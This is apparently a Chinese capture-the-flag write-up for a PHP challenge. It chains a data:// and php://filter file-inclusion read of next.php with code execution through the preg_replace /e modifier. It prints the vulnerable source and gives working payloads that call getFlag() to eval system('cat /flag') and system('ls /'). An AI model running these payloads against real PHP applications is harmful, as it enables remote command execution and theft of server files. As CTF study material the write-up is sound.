这是文件包含
?text=data://text/plain;base64,SSBoYXZlIGEgZHJlYW0=&file=php://filter/read=convert.base64-encode/resource=next.php
前面一段是使用data://伪协议,后面的是读取文件信息
解码得到
这是关于preg_replace的内容
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
next.php?\S*=${getFlag()}&cmd=system("cat /flag");
简单来说就是php5.5.0起的一个漏洞,pl为 /?.*={${phpinfo()}}
。get值是/?.*
,参数是{${phpinfo()}}
。
GET时.*会被和谐成_*所以要用?\S*
构造PL:next.php?\S*=${getflag()}&cmd=system('ls /');
foreach是php遍历数组的简便方法